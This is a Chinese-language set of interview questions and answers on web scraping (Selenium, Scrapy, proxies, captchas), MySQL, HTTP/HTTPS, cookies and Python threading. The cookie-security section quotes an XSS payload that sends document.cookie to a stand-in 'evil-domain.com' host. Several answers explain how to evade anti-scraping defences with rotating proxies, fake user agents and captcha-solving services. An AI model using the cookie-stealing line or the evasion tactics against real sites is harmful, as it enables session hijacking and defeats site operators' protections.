谈一谈你对 Selenium的了解
Selenium
是一个
Web
的自动化测试工具,可以根据我们的指令,让浏览器自动加载页面,获取需要的数据,甚至页面截屏,或者判断网站上某些动作是否发生。
Selenium
库里有个叫
WebDriver
的API。
BeautifulSoup
或者其他Selector 对象一样用来查找页面元素,与页面上的元素进行交互 (发送文本、点击等),以及执行其他动作来运行网络爬虫。
动态加载又对及时性要求很高怎么处理
浏览器 打开你网页,右键查看页面源代码,ctrl +F 查询输入内容,源代码里面并没有这个值,说明是动态加载数据。
selenium+Googlechormedriver
尽量不使用 sleep 而使用 WebDriverWait
你遇到的反爬虫策略有哪些?及应对策略有什么?
模拟浏览器、欺骗浏览器:header
基于用户行为的反爬虫:代理IP
动态网页反爬虫:爬取的数据是通过ajax请求得到,或者通过JavaScript生成的
对部分数据进行加密处理:
分布式爬虫原理
scrapy-redis实现分布式,其实从原理上来说很简单,把自己的核心服务器称为 master,而把用于跑爬虫程序的机器称为 slave。
采用 scrapy
框架抓取网页,我们需要首先给定它一些 start_urls,爬虫首先访问 start_urls
里面的 url
,再根据我们的具体逻辑,对里面的元素、或者是其他的二级、三级页面进行抓取。而要实现分布式,我们只需要在这个 starts_urls 里面做文章就行了。
我们在 master 上搭建一个 redis
数据库(注意这个数据库只用作 url 的存储,不关心爬取的具体数据,不要和后面的 mongodb
或者 mysql 混淆),并对每一个需要爬取的网站类型,都开辟一个单独的列表字段。
通过设置 slave 上 scrapy-redis 获取 url 的地址为 master 地址。这样的结果就是,尽管有多个 slave,然而大家获取 url 的地方只有一个,那就是服务器 master
上的 redis
数据库。
并且,由于 scrapy-redis 自身的队列机制,slave 获取的链接不会相互冲突。这样各个 slave 在完成抓取任务之后,再把获取的结果汇总到服务器上(这时的数据存储不再在是 redis,而是 mongodb
或者mysql
等存放具体内容的数据库了)
这种方法的还有好处就是程序移植性强,只要处理好路径问题,把 slave 上的程序移植到另一台机器上运行,基本上就是复制粘贴的事情。
MySQL中的inner join和left join的区别
INNER JOIN(内连接):取得两个表中存在连接匹配关系的记录。
LEFT JOIN(左连接):取得左表(table1)完全记录,即是右表(table2)并无对应匹配记录。
扩展:RIGHT JOIN(右连接):与 LEFT JOIN 相反,取得右表(table2)完全记录,即是左表(table1)并无匹配对应记录。
mysql的索引在什么情况下失效
- 1.如果条件中有or,即使其中有条件带索引也不会使用(这也是为什么尽量少用or的原因)
要想使用or,又想让索引生效,只能将or条件中的每个列都加上索引 - 2.对于多列索引,不是使用的第一部分,则不会使用索引
- 3.
like
查询以%开头 - 4.如果列类型是字符串,那一定要在条件中将数据使用引号引用起来,否则不使用索引
- 5.如果
mysql
估计使用全表扫描要比使用索引快,则不使用索引
MySQL 有什么引擎,各引擎之间有什么区别
主要 MyISAM 与 InnoDB 两个引擎,其主要区别如下:
- 1、InnoDB 支持事务,MyISAM 不支持,这一点是非常之重要。事务是一种高级的处理方式,如在一些列增删改中只要哪个出错还可以回滚还原,而 MyISAM就不可以了;
- 2、MyISAM 适合查询以及插入为主的应用,InnoDB 适合频繁修改以及涉及到安全性较高的应用;
- 3、InnoDB 支持外键,MyISAM 不支持;
- 4、MyISAM 是默认引擎,InnoDB 需要指定;
- 5、InnoDB 不支持 FULLTEXT 类型的索引;
- 6、InnoDB 中不保存表的行数,如 select count() from table 时,InnoDB;需要扫描一遍整个表来计算有多少行,但是 MyISAM 只要简单的读出保存好的行数即可。注意的是,当 count()语句包含 where 条件时 MyISAM 也需要扫描整个表;
- 7、对于自增长的字段,InnoDB 中必须包含只有该字段的索引,但是在 MyISAM表中可以和其他字段一起建立联合索引;
- 8、清空整个表时,InnoDB 是一行一行的删除,效率非常慢。MyISAM 则会重建表;
- 9、InnoDB 支持行锁(某些情况下还是锁整表,如 update table set a=1 where user like '%lee%'
robots协议是什么
Robots协议(也称为爬虫协议、爬虫规则、机器人协议等)也就是robots.txt,网站通过robots协议告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取。
Robots协议是网站国际互联网界通行的道德规范,其目的是保护网站数据和敏感信息、确保用户个人信息和隐私不被侵犯。因其不是命令,故需要搜索引擎自觉遵守。
scrapy的基本结构(五个部分)都是什么?,请求发出去的整个流程
scrapy由Spider、Engine、Scheduler、Downloader、Item Pipline五个部分组成。发送请求主要由如下几个步骤:
- 首先Spiders(爬虫)将需要发送请求的url(requests)到Engine(引擎)。
- Engine(引擎)把request交给Scheduler(调度器)。
- Scheduler经过排序,入队处理后,重新把request发送到Engine。
- Engine把request请求通过DownloaderMiddlewares(可选,主要有User_Agent, Proxy代理)交给Downloader(下载器)。
- Downloader向网站发送请求,并接受下载响应(Response),将Response返回给Engine。
- Response由Engine,经过SpiderMiddlewares(可选)发送到Spiders开始解析。
- 解析数据完成后,将所需的Items原路返回到Engine。
- Engine将Items发送到ItemPipeline(可以是本地,可以是数据库),提取下一个url再次进行循环。
Scrapy优缺点
优点:
scrapy 是异步的
采取可读性更强的xpath代替正则
强大的统计和log系统
同时在不同的url上爬行
支持shell方式,方便独立调试
写middleware,方便写一些统一的过滤器
通过管道的方式存入数据库
缺点:基于python的爬虫框架,扩展性比较差
基于twisted
框架,运行中的exception
是不会干掉reactor
,并且异步框架出错后是不会停掉其他任务的,数据出错后难以察觉。
scrapy 框架运行的机制
从start_urls
里获取第一批url并发送请求,请求由引擎交给调度器入请求队列,获取完毕后,调度器将请求队列里的请求交给下载器去获取请求对应的响应资源,并将响应交给自己编写的解析方法做提取处理:
- 如果提取出需要的数据,则交给管道文件处理;
- 如果提取出url,则继续执行之前的步骤(发送url请求,并由引擎将请求交给调度器入队列...),直到请求队列里没有请求,程序结束。
scrapy的去重原理 (指纹去重到底是什么原理)
对于每一个url的请求,调度器都会根据请求得相关信息加密得到一个指纹信息,并且将指纹信息和set()集合中的指纹信息进行比对,如果set()集合中已经存在这个数据,就不在将这个Request放入队列中。如果set()集合中没有存在这个加密后的数据,就将这个Request对象放入队列中,等待被调度。
scrapy中间件有几种类,你用过那些中间件
Spider Middlewares 和 Downloader Middlewares两种
将fake-useragent和IP代理集成到Middlewares中,使Spider在发送request时主动更换User-Agent和IP。
scrapy中间件在哪里起的作用(面向切面编程)
爬虫中间件Spider Middleware:主要功能是在爬虫运行过程中进行一些处理
下载器中间件Downloader Middleware:主要功能在请求到网页后,页面被下载时进行一些处理
如何处理封IP的反爬
起先是自己写了一个IP代理池,从免费代理平台上爬取可用的IP,但由于数量太少,选择了付费代理。
通过使用平台的api在本地动态维护一个IP缓存池来供给分布式架构的爬虫节点使用。这个缓存池不需要做IP有效性验证,因为我的爬虫若下载某个Request彻底失败后会把这个Request重新放回Request队列,而且选择一个好的代理平台可以大大提高代理IP质量。(快代理)
缓存池的IP被取走一个,池中的数量就减少一个,当数量少于M时,再从平台获取N个。
如何处理验证码
简单的验证码可以通过预处理(灰度、二值化、去除干燥点)验证码图片再使用tesseract库来识别
复杂一点的则接入付费平台识别
如果这个目标网站的app端没有验证码的话,会优先通过app端爬取。
爬取速度过快出现的验证码处理
设置setting.py中的DOWNLOAD_DELAY,降低爬取速度
用xpath获取验证码关键字,当出现验证码时,识别验证码后再继续运行
模拟登陆的流程
- 加载浏览器driver;
- 获取登录页面;
- 使用css选择器或者xpath找到账号和密码输入框,并发送账号和密码;
- 如果出现验证码则需要先识别验证码,在模拟输入验证码或者模拟鼠标拖动;
- 使用css选择器或者xpath找到登录按钮,使用click模拟点击;
实现模拟登录的方式有哪些
使用一个具有登录状态的 cookie,结合请求报头一起发送,可以直接发送 get 请求,访问登录后才能访问的页面
先发送登录界面的 get 请求,在登录页面 HTML 里获取登录需要的数据(如果需要的话),然后结合账户密码,再发送 post 请求,即可登录成功。然后根据获取的 cookie信息,继续访问之后的页面
cookie如何处理
- 采用selenium自动登录获取cookie,保存到文件;
- 读取cookie,比较cookie的有效期,若过期则再次执行步骤1;
- 在请求其他网页时,填入cookie,实现登录状态的保持;
处理网站传参加密的情况
加密的三种情况:
- 加密+访问次数限制+每个页面相关信息的条目需要点详情进行二次请求;
- 复杂的加密算法进行参数+时间戳+sig值,后台进行 参数+时间限制;
- 定时同步cookie+每个界面一个cookie。
破解方法:
- 使用selenium模拟点击获取详情页面;
- 获取其相应的api接口,GET接口URL,获取它的json表格内容;
- 反向分析网页JS加载内容;
request
request 是一个 HTTP 库, 它只是用来,进行请求,对于 HTTP 请求,他是一个强大的库,下载,解析全部自己处理,灵活性更高,高并发与分布式部署也非常灵活,对于功能可以更好实现。
HTTPS 是如何实现安全传输数据的
- 客户端(通常是浏览器)先向服务器发出加密通信的请求
- 服务器收到请求,然后响应
- 客户端收到证书之后首先会进行验证
- 服务器收到使用公钥加密的内容,在服务器端使用私钥解密之后获得随机数pre-master secret,然后根据radom1、radom2、pre-master secret通过一定的算法得出session Key和MAC算法秘钥,作为后面交互过程中使用对称秘钥。同时客户端也会使用radom1、radom2、pre-master secret,和同样的算法生成session Key和MAC算法的秘钥。
- 然后再后续的交互中就使用session Key和MAC算法的秘钥对传输的内容进行加密和解密。
http协议,请求由什么组成,每个字段分别有什么用,https和http有什么差距
请求行(request line)、请求头部(header)、空行和请求数据四个部分组成:
- 请求行,用来说明请求类型,要访问的资源以及所使用的HTTP版本;
- 请求头部,紧接着请求行(即第一行)之后的部分,用来说明服务器要使用的附加信息;
- 空行,请求头部后面的空行是必须的;
- 请求数据也叫主体,可以添加任意的其他数据;
HTTPS和HTTP的区别主要如下:
-
https协议需要到ca申请证书,一般免费证书较少,因而需要一定费用。
-
http是超文本传输协议,信息是明文传输,https则是具有安全性的ssl加密传输协议。
-
http和https使用的是完全不同的连接方式,用的端口也不一样,前者是80,后者是443。
-
http的连接很简单,是无状态的;HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议,比http协议安全。
Cookie和Session关系
-
都是为了实现客户端与服务端交互而产出
-
Cookie是保存在客户端,缺点易伪造、不安全
-
Session是保存在服务端,会消耗服务器资源
-
Session实现有两种方式:Cookie和URL重写
Cookie带来的安全性问题
-
会话劫持和XSS:在Web应用中,Cookie常用来标记用户或授权会话。因此,如果Web应用的Cookie被窃取,可能导致授权用户的会话受到攻击。常用的窃取Cookie的方法有利用社会工程学攻击和利用应用程序漏洞进行XSS攻击。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
HttpOnly类型的Cookie由于阻止了JavaScript对其的访问性而能在一定程度上缓解此类攻击。 -
跨站请求伪造(CSRF):维基百科已经给了一个比较好的CSRF例子。比如在不安全聊天室或论坛上的一张图片,它实际上是一个给你银行服务器发送提现的请求:
当你打开含有了这张图片的HTML页面时,如果你之前已经登录了你的银行帐号并且Cookie仍然有效(还没有其它验证步骤),你银行里的钱很可能会被自动转走。解决CSRF的办法有:隐藏域验证码、确认机制、较短的Cookie生命周期等
Python中的多线程
进程是程序执行的最小单元,每个进程都有自己独立的内存空间,而线程是进程的一个实体,是系统调用调用的一个基本单位。
线程是轻量级的,他没有独立的空间地址(内存空间),因为他是由进程创建的,寄存在进程的内存地址中。一个进程会包含多个线程(这就是我们今天说的多线程)
线程的五种状态:
1、新建状态:
当一个线程被创建时就开始了它的生命周期,在启动线程之前他一直处于新建状态。
2、就绪状态:
当线程被启动时,由于还没有分配到cpu资源,该线程进入等待队列在等待另一个线程执行完(等待cpu服务),此时线程被称为就绪状态。
3、运行状态:
当处于就绪状态的线程被调用并获得cpu资源时,此时为运行状态。
4、阻塞状态:
一个正在执行的线程在某些情况下不得已让出cpu资源时,会中止自己的执行过程,这是被称为阻塞状态。值得注意的是:阻塞被消除后是回到就绪状态,不是运行状态。
5、死亡状态:
线程被终止、销毁、或执行完毕则进入死亡状态。不可再重新启动
阻塞状态又分为三种情况:等待阻塞、同步阻塞、其他阻塞
说到阻塞不得不提到一个‘锁’的概念
多线程可以运行多个任务,很大程度上提高了我们程序的工作效率,但是面临一个非常致命的问题。
如果有多个线程去操作同一个列表(这个列表被称为:共享数据),比如线程a要列表第一个元素的值加1,这个过程可以细分为3步:1.取出元素;2:元素加1;3:将最终的结果放入列表。
那如果在a线程执行到第二步加1的时候线程b突然要读取列表 那么他读取到的列表仍然是没修改之前的内容。这并不是我们想要的.
所以引进了锁的概念。当某个线程需要独占共享资源时,必须先上锁,这样别的线程就无法再操作。当操作完之后一定要将锁打开,别的线程才可以操作数据。
在I/O密集型操作中,需要保持数据同步的时候需要加锁 保证资源同步。但同时因为其他线程面临阻塞,性能不可避免的会下降。
同步阻塞:线程请求锁定的时候进入同步阻塞,一旦获得锁又变成运行状态。
等待阻塞:是指等待其他线程通知的状态,线程获得条件锁定后,调用“等待”将进入这个状态,一旦其他线程发出通知,线程将进入同步状态,再次竞争条件锁定。
其他阻塞:指线程sleep 、join或等待io时的阻塞。
##############模拟多窗口出售电影票的场景来理解阻塞和锁###############
import threading
# 库存电影票数量,为了使结果更加准确设置成10w
num = 100000
def thread(name):
global num
while num > 0:
num -= 1
print('%s出售 1 张电影票 === 剩余 %d 张电影票' % (name, num))
# 三种售票途径
businesses = ['美团', '淘票', '糯米']
for i in businesses:
# 创建线程
t = threading.Thread(target=thread, args=(i,))
# 启动线程
t.start()
通过分析控制台记录我们会发现,美团售票窗口一次性卖了好几百张票,糯米和淘票窗口的数据一直没有更新成最新的库存,导致明明没票了,缺还显示剩余很多。
不仅仅是售票,生活中有很多这样的例子,比如抢购火车票,银行取钱等...都会有这种数据不同步的问题。解决这一问题的办法就是前面提到的‘锁’。
简单的讲美团在卖票的过程中,将库存进行锁定,在这期间糯米和淘票票不可以在操作,只能等待美团操作完将数据更新后,然后释放锁才可以继续操作。
在threading模块中提供了一个获得线程锁的方法:
threading.Lock()
import threading # 库存电影票数量,为了使结果更加准确设置成10w num = 100000 lock = threading.Lock() def thread(name): global num while num > 0: # 加锁 这里一定要放在判断总量之前, # 不然会导致另外两个窗口最后会出现负数票的情况 # 如果没有加锁就释放锁会导致报错,所以在while循环里又加了一层if判断 lock.acquire() if num > 0: num -= 1 print('%s出售 1 张电影票 === 剩余 %d 张电影票' % (name, num)) # 释放锁 lock.release() else: lock.release() # 三种售票途径 businesses = ['美团', '淘票', '糯米'] for i in businesses: # 创建线程 t = threading.Thread(target=thread, args=(i,)) # 启动线程 t.start()
其它常用方法:
1、threading.Rlock()
RLock允许在同一线程中被多次acquire。而Lock却不允许这种情况。注意:如果使用RLock,那么acquire和release必须成对出现,即调用了n次acquire,必须调用n次的release才能真正释放所占用的琐。
2、threading.Condition()
可以把Condition理解为一把高级的琐,它提供了比Lock, RLock更高级的功能,允许我们能够控制复杂的线程同步问题。threadiong.Condition在内部维护一个锁对象(默认是RLock),可以在创建Condigtion对象的时候把琐对象作为参数传入。Condition也提供了acquire, release方法,其含义与琐的acquire, release方法一致,其实它只是简单的调用内部琐对象的对应的方法而已。Condition还提供wait方法、notify方法、notifyAll方法(特别要注意:这些方法只有在占用琐(acquire)之后才能调用,否则将会报RuntimeError异常)
3、threading.Semaphore和BoundedSemaphore
Semaphore:Semaphore 在内部管理着一个计数器。调用 acquire() 会使这个计数器 -1,release() 则是+1(可以多次release(),所以计数器的值理论上可以无限).
计数器的值永远不会小于 0,当计数器到 0 时,再调用 acquire() 就会阻塞,直到其他线程来调用release()
4、join()
如果一个线程在执行过程中要调用另外一个线程,并且等到其完成以后才能接着执行
def my_thread(threadName): for i in range(10): print(' 线程 :' + threadName + '正在执行') # 启动线程 # 方法名 方法参数,无参时空tuple # _thread.start_new_thread() t1 = threading.Thread(target=my_thread, args=('name1',)) t2 = threading.Thread(target=my_thread, args=('name2',)) ## t1 = _thread.start_new_thread(my_thread, ('name1',)) # t2 = _thread.start_new_thread(my_thread, ('name2',)) # 通过start方法 启动线程 t1.start() t2.start() # 如果不加join 则Ending会在t1和t2没有执行完就会打印 # 加了join之后 Ending会等待线程执行完毕之后才会打印 t1.join() t2.join() print("Ending 。。。。。")
5、isAlive
isAlive 等价于 is_alive(self),用于判断线程是否运行。当线程没有调用start时,或者线程执行完毕处于死亡状态,isAlive()返回false。
6、Daemon
Python主程序当且仅当不存在非Daemon线程存活时退出。即:主程序等待所有非Daemon线程结束后才退出,且退出时会自动结束(很粗鲁的结束)所有Daemon线程。